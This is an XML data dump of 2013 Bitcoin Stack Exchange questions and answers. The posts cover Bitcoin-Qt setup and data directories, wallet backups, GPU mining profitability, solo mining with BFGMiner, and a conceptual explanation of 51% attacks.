  <row Id="9259" PostTypeId="1" AcceptedAnswerId="9268" CreationDate="2013-04-06T16:33:16.317" Score="22" ViewCount="47830" Body="&lt;p&gt;I am installing Bitcoin-Qt and have been reading about Bitcoin basics, but I found very little information on the client. I have a few questions about the Bitcoin-Qt program (v0.8.1-beta under Windows 7), &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Where is the complete Bitcoin-Qt documentation? I can not find it.&lt;/li&gt;&#xA;&lt;li&gt;How do I change the file locations for the block-chain storage?&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Block chain is ~6&amp;nbsp;GB&lt;/li&gt;&#xA;&lt;li&gt;The default appears to be &lt;code&gt;MyDocuments\AppData\Roaming\&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;My C: system drive is small, and I have a second drive for such data.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Is the &quot;Wallet&quot; a separate file/entity from the block-chain?&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How do I define the wallet's location?&lt;/li&gt;&#xA;&lt;li&gt;Can I backup the wallet by simple copy/paste/tar.gz without carrying the entire block-chain?&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Does the Bitcoin-Qt client currently have built-in mining/transaction-processing? I do not see the dialog-box to configure. I have a graphics card and ample wasted CPU-cycles.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks for clarification. Links to proper documentation are welcome!&lt;/p&gt;&#xA;" OwnerUserId="3996" LastEditorUserId="47827" LastEditDate="2020-09-16T11:38:24.567" LastActivityDate="2020-09-16T11:38:24.567" Title="Bitcoin-Qt setup: Change block-chain file location, settings? documentation?" Tags="|bitcoin-core|client|bitcoincore-gui|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9260" PostTypeId="2" ParentId="9233" CreationDate="2013-04-06T16:40:48.390" Score="9" Body="&lt;p&gt;Similarly, what's the incentive for millers to sell flour?  They could just keep the flour, bake bread, and sell the bread themselves.  Or why does the farmer sell wheat to the mill?  He could just mill it himself, bake bread, and sell that!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer is that different people have different abilities and specialities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ASIC manufacturers are good at making ASICs.  Also, they might be averse to the risk in waiting for the generated bitcoins to be worth as much as the revenue on the devices.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-04-06T16:40:48.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9261" PostTypeId="1" CreationDate="2013-04-06T16:48:46.733" Score="2" ViewCount="555" Body="&lt;p&gt;What is the earliest block in the blockchain that has a spent coinbase? I have manually looked at the first dozen or so but they are all unspent.&lt;/p&gt;&#xA;" OwnerUserId="3997" LastEditorUserId="5406" LastEditDate="2015-01-12T22:45:41.413" LastActivityDate="2015-01-12T22:45:41.413" Title="Earliest block with spent coinbase" Tags="|transactions|blockchain|coinbase-transaction|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9262" PostTypeId="2" ParentId="9077" CreationDate="2013-04-06T17:19:20.917" Score="21" Body="&lt;p&gt;&lt;code&gt;listaddressgroupings&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the command &lt;code&gt;listaddressgroupings&lt;/code&gt; from the bitcoin-qt console window and it listed all my addresses.  I then looked for one of my old send transactions here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/&quot;&gt;https://blockchain.info/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And found the change address.  It matches one of the addresses in the list.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-04-06T17:19:20.917" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9263" PostTypeId="1" CreationDate="2013-04-06T17:32:08.910" Score="1" ViewCount="554" Body="&lt;p&gt;I love the idea of a powerful alternative to bitcoind, and especially the ability to subscribe on blockchain events and easily process them on the server side.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I see the last activity on the &lt;a href=&quot;http://bitcoinjs.org/&quot; rel=&quot;nofollow&quot;&gt;BitcoinJS&lt;/a&gt; code is 7-10 months ago.&lt;br&gt;&#xA;Does anybody know the status of the BitcoinJS projects or can suggest alternatives?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: I'm now looking into &lt;a href=&quot;http://bitsofproof.com/&quot; rel=&quot;nofollow&quot;&gt;bitsofproof supernode&lt;/a&gt;, a project that looks really promising.&lt;/p&gt;&#xA;" OwnerUserId="3292" LastEditorUserId="105" LastEditDate="2013-05-21T18:06:33.427" LastActivityDate="2013-05-21T18:06:33.427" Title="Is BitcoinJS under active development?" Tags="|bitcoind|development|javascript|bitcoinjs|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9264" PostTypeId="1" AcceptedAnswerId="9271" CreationDate="2013-04-06T20:17:33.490" Score="0" ViewCount="318" Body="&lt;p&gt;I wonder whether I should spend around 1000$ - 1500$ for buying a GPU based system that will mine at 2GH/s. Is it still worth it? What will happen when all those ASIC machines will arrive? will i still be mining at a decent rate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3953" LastEditorUserId="5406" LastEditDate="2016-04-28T13:38:31.057" LastActivityDate="2016-04-28T13:38:31.057" Title="Is there any reason to invest on GPU based system these days? (March 2013)" Tags="|mining-profitability|mining-hardware|asic|gpu|" AnswerCount="1" CommentCount="1" ClosedDate="2013-04-07T10:36:16.157" ContentLicense="CC BY-SA 3.0" />
  <row Id="9265" PostTypeId="1" AcceptedAnswerId="9272" CreationDate="2013-04-06T20:20:59.747" Score="-2" ViewCount="199" Body="&lt;p&gt;Can anyone with enough computing power, take over the network ? This is following from a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9233/why-do-the-creators-of-asics-not-just-keep-them-for-themselves/9237#comment12148_9237&quot;&gt;previous comment&lt;/a&gt; where I was asking :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;... how can that be possible (to control the network) if mining tend asintotically to 21M ( alias the end of mining ) ? The only control is on early production of coins, not on the allover crypto-economy IMO.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;where I'd been answered like the following :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Blocks do give miners coins, but that's not their purpose. Their purpose is to keep an ordered list of transactions. By using 51% of the mining power, they can prevent transactions from getting on that list indefinitely.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you say ?&lt;/p&gt;&#xA;" OwnerUserId="4000" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2016-04-28T14:25:12.513" Title="Is possible to control the network?" Tags="|hashpower|majority-attack|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ClosedDate="2013-04-09T20:18:37.013" ContentLicense="CC BY-SA 3.0" />
  <row Id="9267" PostTypeId="1" CreationDate="2013-04-06T21:01:19.470" Score="3" ViewCount="1672" Body="&lt;p&gt;I'm mining Bitcoins and have multiple incoming addresses in my bitcoin-qt wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I get a payout for mining in the &quot;Transactions&quot; tab it shows the amount of BTC I received and the type is set to &quot;Mined&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I see a lot of transactions, but I have no clue for which incoming wallet address these payments were originally made for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I figure out the destination address in the wallet for incoming transactions? And if I can't; why?&lt;/p&gt;&#xA;" OwnerUserId="4005" LastEditorUserId="5406" LastEditDate="2016-04-10T10:05:14.910" LastActivityDate="2018-01-31T08:55:11.480" Title="Bitcoin Client - How do I find the destination address of an incoming transaction?" Tags="|transactions|bitcoin-core|address|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9268" PostTypeId="2" ParentId="9259" CreationDate="2013-04-06T22:36:39.047" Score="18" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin-Qt&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Bitcoin-Qt&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.google.com/search?q=bitcoin-qt+documentation&quot; rel=&quot;noreferrer&quot;&gt;https://www.google.com/search?q=bitcoin-qt+documentation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the &lt;code&gt;-datadir&lt;/code&gt; option.&lt;br&gt;&#xA;Right-click on your bitcoin-qt shortcut, press properties, and add &lt;code&gt;-datadir=D:\Bitcoin&lt;/code&gt;&lt;br&gt;&#xA;Go make that directory, then run bitcoin. If a bunch of files show up in there, you've done it correctly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Yep.  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;-datadir&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;File &gt; Backup Wallet&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes, but not GPU mining. &lt;a href=&quot;https://bitcointalk.org/?topic=3878.0&quot; rel=&quot;noreferrer&quot;&gt;GUI miner is a nice option though.&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-10-26T17:00:52.713" LastActivityDate="2014-10-26T17:00:52.713" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9269" PostTypeId="1" CreationDate="2013-04-06T23:49:10.873" Score="4" ViewCount="812" Body="&lt;p&gt;I want to know the public key of my bitcoin address, (e.g. &lt;code&gt;13mtYzgprJuLUWw1EVWSPPuC88q7fGuSX1&lt;/code&gt;), how do I do that?&lt;/p&gt;&#xA;" OwnerUserId="3775" LastActivityDate="2013-04-07T20:00:35.637" Title="How do I find the public key of a bitcoin address?" Tags="|public-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9270" PostTypeId="2" ParentId="9261" CreationDate="2013-04-07T00:47:00.957" Score="2" Body="&lt;p&gt;The first transaction, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=155054.0&quot; rel=&quot;nofollow&quot;&gt;Satoshi sending 10 BTC to Hal Finney&lt;/a&gt;, was recorded in &lt;a href=&quot;https://blockchain.info/block-index/171/00000000d1145790a8694403d4063f323d499e655c83426834d4ce2f8dd4a2ee&quot; rel=&quot;nofollow&quot;&gt;block 170&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3067" LastActivityDate="2013-04-07T00:47:00.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9271" PostTypeId="2" ParentId="9264" CreationDate="2013-04-07T00:53:41.463" Score="2" Body="&lt;p&gt;As of today (April 6, 2013) mining profitability on GPUs is at the highest levels ever, but that is only because the exchange rate has rocketed up so fast.  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockchain.info/charts/miners-operating-profit-margin&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/charts/miners-operating-profit-margin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At the same time, mining difficulty has been skyrocketing and that pace of growth will likely outpace the increase in the exchange rate.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoin.sipa.be/speed-lin-10k.png&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.sipa.be/speed-lin-10k.png&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But there are probably two or three difficulty adjustment cycles remaining where mining bitcoins using GPUs is still profitable.   Enjoy it while it lasts because in a little over a month it should be all over for GPUs.   The expected rate of difficulty increase was not unexpected so further investment in GPU mining has been discouraged however the rise in the BTC/USD from the low teens to 10X that level has caused that call to be simply premature by a few months.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-07T00:53:41.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9272" PostTypeId="2" ParentId="9265" CreationDate="2013-04-07T01:05:04.157" Score="2" Body="&lt;p&gt;There is no question as to whether or not someone with 51% of the hashing capacity can &quot;control&quot; the network (i.e., decide which transactions get mined, and receive 100% of bitcoins newly issued in each block).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, that happened on March 12th, 2013 following the &quot;hard fork&quot;, when a friendly 51% attack occurred so that blocks mined on the pre-v0.8 clients would become the longest chain, rather than continuing to extend the blocks created by the v0.8 client which hadn't followed a previously unrecognized limitation of the Bitcoin protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the party with 51% hashing capacity cannot do is more important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They cannot change the rate of issuance, for example.  There are only the current 25 BTC issued per-block until block 420,000 when that will drop further, per the algorithm.  The &quot;attacker&quot; can double spend transactions that the attacker had made (e.g., deposit bitcoins to an exchange then withdraw some other coins before double spending against the original deposit.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So with very little economic incentive to &quot;control&quot; the network, there is little concern that one will happen (or if it does that it will be of much significance.)&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-07T01:05:04.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9273" PostTypeId="2" ParentId="1635" CreationDate="2013-04-07T01:13:30.367" Score="4" Body="&lt;p&gt;You really don't have to be too computer savvy to own &amp;amp; trade in bitcoins. If you are a newbie, this explanation might help you figure out how to participate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &quot;wallet&quot; is where you store your bitcoins. You can have a wallet on your computer, or you can have a web-based wallet online. A great comparison is to think of email. You can use Outlook or Thunderbird where all the email is actually stored on your pc, or you can use gmail and have your email stored in the cloud online. The online wallets are called e-wallets. The little programs that run in your pc or smartphone are just called wallets (or bitcoin clients).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Online wallets are as easy to set up as, well, a gmail or yahoo mail account. In a few minutes you are all done. Your e-wallet &quot;account&quot; is created and ready for transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you choose to create a wallet on your pc, the setup process takes a bit longer. As of this writing, (april 2013) it takes about one minute to install the bitcoin client on your pc. But it takes about two days for the client to download this huge file called the blockchain. Your client won't show any deposits to your account until the blockchain is fully downloaded and &quot;synchronized.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blockchain is this huge record of EVERY bitcoin transaction that has taken place, ever! It grows and grows with each transaction. It is &quot;synchronized&quot; with every other bitcoin client (with some exceptions) A copy of it exists on every bitcoin client in the world. Why? because by publishing the transaction block to every bitcoin client, &quot;they&quot; (the enemies of bitcoin) can't just take out one computer or web address and kill bitcoin. &quot;They'd&quot; have to take out every computer that is running bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This concept implies a big vulnerability not of wallets, but of e-wallets, the online wallets. E-wallet service providers are vulnerable to cyber attacks, etc. And if they decide to &quot;temporarily suspend operations&quot; or plain old go out of business, then you could lose some or all of your account balance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that another answer in this thread refers the user to get an e-wallet account with INSTAWALLET.COM. Well, as of this writing, Instawallet.com has ceased operation and is giving out &quot;refunds&quot; and they may or may not be complete refunds. (story: &lt;a href=&quot;http://techcrunch.com/2013/04/03/bitcoin-instawallet/&quot; rel=&quot;nofollow&quot;&gt;http://techcrunch.com/2013/04/03/bitcoin-instawallet/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there is risk to using online e-wallets. But not so with the regular wallets that are stored on your pc. They have a different kind of risk. Basically, the wallet in your pc is as vulnerable to loss as the cherished photos and other documents you keep on your pc. If your pc is stolen, or if the hard drive goes out, then you are up the creek... unless you have backed up your wallet. Like your photos, it's just data and it can easily be backed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So are you computer savvy enough to own and trade in bitcoins? I will continue to use the email metaphor from above. If you think you are computer literate enough to install an email client such as Outlook, Thunderbird, or Eudora on your pc, and if you do regular backups of your precious files, then you have what it takes to go with an original bitcoin client, such as Bitcoin-Qt. (Get it from bitcoin.org)  Otherwise, if you prefer the ease of use of gmail, and if you are willing to accept the risks outlined above, then go with an online e-wallet. (one is blockchain.info)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an excellent primer to Bitcoin... &quot;&lt;a href=&quot;http://evoorhees.blogspot.com/2012/04/bitcoin-libertarian-introduction.html&quot; rel=&quot;nofollow&quot; title=&quot;an excellent essay on bitcoin, written by erik vorhees&quot;&gt;What it is, How it's used, and Why you should care.&lt;/a&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best wishes!&lt;/p&gt;&#xA;" OwnerUserId="4011" LastActivityDate="2013-04-07T01:13:30.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9274" PostTypeId="1" AcceptedAnswerId="9276" CreationDate="2013-04-07T01:29:31.383" Score="10" ViewCount="51162" Body="&lt;p&gt;I'm completely new to Bitcoin, so my understanding of mining is still improving.&lt;/p&gt;&#xA;&lt;p&gt;I downloaded &lt;a href=&quot;https://en.bitcoin.it/wiki/BFGMiner&quot; rel=&quot;noreferrer&quot;&gt;BFGMiner&lt;/a&gt;, and now I would like to perform some solo mining.&lt;/p&gt;&#xA;&lt;p&gt;(I would rather have it use my GPU, but if a CPU is noticeably easier than I'll go that route first.)&lt;/p&gt;&#xA;&lt;h3&gt;How can I use BFGMiner to perform solo mining?&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;What arguments do I give to &lt;code&gt;bfgminer&lt;/code&gt; on the command line?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What information do I need, aside from my BitCoin wallet address?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What other program(s), if any, do I need?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Again, I know very little about mining at this point, so please assume no prior knowledge -- all I know is basically my wallet address. :)&lt;/p&gt;&#xA;" OwnerUserId="3248" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2017-12-23T00:32:43.560" Title="How to solo-mine bitcoins with bfgminer?" Tags="|solo-mining|bfgminer|miner-configuration|mining-software|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9275" PostTypeId="2" ParentId="9127" CreationDate="2013-04-07T03:02:08.023" Score="-1" Body="&lt;p&gt;If it's fewer than 10 wallets, just copy them into bitcoin-qt's configuration directory one-at-a-time and transfer all the bitcoins to a new wallet.  It would take you about 10 minutes to do it.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-04-07T03:02:08.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9276" PostTypeId="2" ParentId="9274" CreationDate="2013-04-07T03:10:03.170" Score="1" Body="&lt;p&gt;This article seems useful:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.newslobster.com/random/how-to-get-started-using-your-gpu-to-mine-for-bitcoins-on-windows&quot; rel=&quot;nofollow&quot;&gt;http://www.newslobster.com/random/how-to-get-started-using-your-gpu-to-mine-for-bitcoins-on-windows&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with that and maybe later switch to using a pool.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-04-07T03:10:03.170" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9277" PostTypeId="1" CreationDate="2013-04-07T03:21:59.790" Score="10" ViewCount="5474" Body="&lt;p&gt;What ways are there to increase the speed of synchronisation of the network, assuming the use of the main Bitcoin client?&lt;/p&gt;&#xA;" OwnerUserId="3902" LastEditorUserId="121614" LastEditDate="2023-11-26T21:11:39.537" LastActivityDate="2023-11-26T21:11:39.537" Title="How to increase the speed of synchronisation?" Tags="|bitcoin-core|synchronization|performance|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9279" PostTypeId="1" AcceptedAnswerId="10276" CreationDate="2013-04-07T05:33:05.280" Score="5" ViewCount="1547" Body="&lt;p&gt;Bitcoin decides on a global clock by the blockchain - every mined block is another tick of that clock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Ripple, there is a global ledger that keeps advancing in time - the ledger number keeps increasing all the time, and the ledger represents the state of the system at time t.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What synchronizes this ledger? How do different Ripple nodes know when they should advanced their ledger counter?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2021-02-01T19:14:50.677" LastActivityDate="2021-02-01T19:14:50.677" Title="How does Ripple synchronizes its ledger?" Tags="|synchronization|ripple|ripple-ledger|" AnswerCount="1" CommentCount="2" ClosedDate="2021-02-06T18:36:42.867" ContentLicense="CC BY-SA 3.0" />
  <row Id="9281" PostTypeId="1" CreationDate="2013-04-07T07:19:08.337" Score="2" ViewCount="5047" Body="&lt;p&gt;How does the cryptography science behind bitcoins work to make it robust(reliable , scalable).&#xA;I am interested in technical explanation with cryptography math and not just conceptual explanation.&lt;/p&gt;&#xA;" OwnerUserId="4018" LastEditorUserId="5406" LastEditDate="2013-10-11T14:17:20.050" LastActivityDate="2013-10-11T14:17:20.050" Title="How does bitcoin work from a technical computer science cryptography perspective?" Tags="|cryptography|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9282" PostTypeId="1" AcceptedAnswerId="9310" CreationDate="2013-04-07T07:25:29.043" Score="2" ViewCount="358" Body="&lt;p&gt;Who keeps the bitcoins?&#xA;If he didn't left to anyone his private key, will the bitcoins be lost forever and ever?&lt;/p&gt;&#xA;" OwnerUserId="4019" LastEditorUserId="5406" LastEditDate="2015-07-21T12:52:49.153" LastActivityDate="2015-07-21T12:52:49.153" Title="What happens when someone dies?" Tags="|inheritance-plan|" AnswerCount="2" CommentCount="3" ClosedDate="2015-07-21T12:57:53.130" ContentLicense="CC BY-SA 3.0" />
  <row Id="9283" PostTypeId="1" CreationDate="2013-04-07T07:26:11.957" Score="0" ViewCount="397" Body="&lt;p&gt;What makes this mining process so computationally intensive and can this mining activity be substituted by other hard labors in physical world?&#xA;Does this mining effort alone adds intrinsic value to the bitcoin like gold?&lt;/p&gt;&#xA;" OwnerUserId="4018" LastEditorUserId="5406" LastEditDate="2016-04-28T14:38:41.410" LastActivityDate="2016-04-28T14:38:41.410" Title="How is mining of bitcoins done" Tags="|mining-theory|" AnswerCount="1" CommentCount="0" ClosedDate="2015-11-07T11:15:07.897" ContentLicense="CC BY-SA 3.0" />
  <row Id="9284" PostTypeId="2" ParentId="9283" CreationDate="2013-04-07T07:51:08.723" Score="3" Body="&lt;p&gt;The mining process is similar to a brute force attack and, assuming you already appreciate the nature of such attacks, mining is computationally intensive.  More specifically, mining involves repeatedly, and as fast as your computer allows, guessing at the solution to a problem that cannot be solved quickly by the human brain.  There are now dedicated computers, made specifically for the Bitcoin community, able to make billions of guesses per second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mining process is hard by design as it does make the Bitcoin generation process harder, almost like mining for gold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mining activity cannot be substituted by other hard labors in the physical world.  BUT, you can buy Bitcoins on an exchange with the dollars you earned in the physical world.&lt;/p&gt;&#xA;" OwnerUserId="4020" LastEditorUserId="4020" LastEditDate="2013-04-07T08:14:40.977" LastActivityDate="2013-04-07T08:14:40.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9285" PostTypeId="1" CreationDate="2013-04-07T08:19:58.270" Score="2" ViewCount="1206" Body="&lt;p&gt;How can i personally utilize many of my home and office computers to mine bitcoin for the same address or user? Does bitcoin allow that? Also if i have &lt;strong&gt;supercomputing&lt;/strong&gt; facilities does it mean i can generate bitcoins every minute?&lt;/p&gt;&#xA;" OwnerUserId="4018" LastEditorUserId="4018" LastEditDate="2013-04-08T01:23:05.710" LastActivityDate="2013-04-08T01:30:58.230" Title="Can the same wallet be run from multiple computers" Tags="|address|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9286" PostTypeId="1" CreationDate="2013-04-07T08:21:25.720" Score="1" ViewCount="103" Body="&lt;p&gt;I've sampled a significant number of the first circa 70 000 blocks to conclude that they all serve only to create Bitcoins (50 at a time).  I will accept that my question does not have a factual answer and may therefore be closed on account of the speculation required to answer.  Nevertheless, the question is: is the 'money creation' of the first 70k transactions why some say that the creator of the system may be in possession of a third of the bitcoins ever created?&lt;/p&gt;&#xA;" OwnerUserId="4020" LastActivityDate="2013-04-07T08:21:25.720" Title="Interpretation of first circa 70 000 blocks" Tags="|money-supply|" AnswerCount="0" CommentCount="3" ClosedDate="2013-04-07T23:38:38.350" ContentLicense="CC BY-SA 3.0" />
  <row Id="9287" PostTypeId="2" ParentId="7894" CreationDate="2013-04-07T09:58:22.257" Score="1" Body="&lt;p&gt;You have downloaded the linux version of cgminer, that's not going to run on OS X.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think there is a ready built binary for cgminer on OS X.&lt;/p&gt;&#xA;" OwnerUserId="4021" LastActivityDate="2013-04-07T09:58:22.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9288" PostTypeId="2" ParentId="9281" CreationDate="2013-04-07T10:38:35.403" Score="1" Body="&lt;p&gt;Take a look at this Whitepaper by Satoshi Nakamoto: &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.org/bitcoin.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4023" LastActivityDate="2013-04-07T10:38:35.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9289" PostTypeId="2" ParentId="9285" CreationDate="2013-04-07T11:19:38.850" Score="2" Body="&lt;p&gt;The same receiving address can be used as many times as you like, though with some loss of anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you run the client on multiple computers with the same wallet file, you'll run into problems; even if you start with an exact copy of a wallet on both computers, they'll get out of sync eventually if you make transactions from each copy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin-QT client &lt;a href=&quot;https://bitcoin.stackexchange.com/a/8192/516&quot;&gt;generates up to 100 addresses in advance&lt;/a&gt; and stores them in the wallet, but at some point will generate more. Most &quot;send&quot; transactions use one of those addresses as a change address. If you're sending from 2 clients which started with the same copy of a wallet file, at some point they will start using addresses that did not exist in the original wallet file. At that point, bitcoins in one wallet will not be available to spend from the other wallet.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-04-08T01:30:58.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9290" PostTypeId="1" AcceptedAnswerId="9303" CreationDate="2013-04-07T11:49:23.190" Score="0" ViewCount="444" Body="&lt;p&gt;As i am thinking of builing a system with a evga 670 i was wondering how much better a similarly priced AMD card would be in mining?&lt;br&gt;&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison#AMD_.28ATI.29&quot; rel=&quot;nofollow&quot;&gt;The bitcoin wiki&lt;/a&gt;&#xA;shows a hashrate of 406MH/s for the GV-R787OC-2GD  (a $250 card) while the EVGA GTX670FTW 2GB gets only 112 MH/s (a $400 card).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems really off to me. Is there really this big a difference?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As on many websites it says AMD is so much better for mining while because NVIDIA has Cuda everyone says its best for editing why doesn't cuda drive up Mhash/s?&lt;/p&gt;&#xA;" OwnerUserId="4024" LastEditorUserId="5406" LastEditDate="2016-04-09T07:43:00.823" LastActivityDate="2016-04-09T07:43:00.823" Title="Is there really this big a difference between AMD and NVIDIA?" Tags="|mining-hardware|gpu-mining|" AnswerCount="1" CommentCount="0" ClosedDate="2013-04-22T16:36:14.127" ContentLicense="CC BY-SA 3.0" />
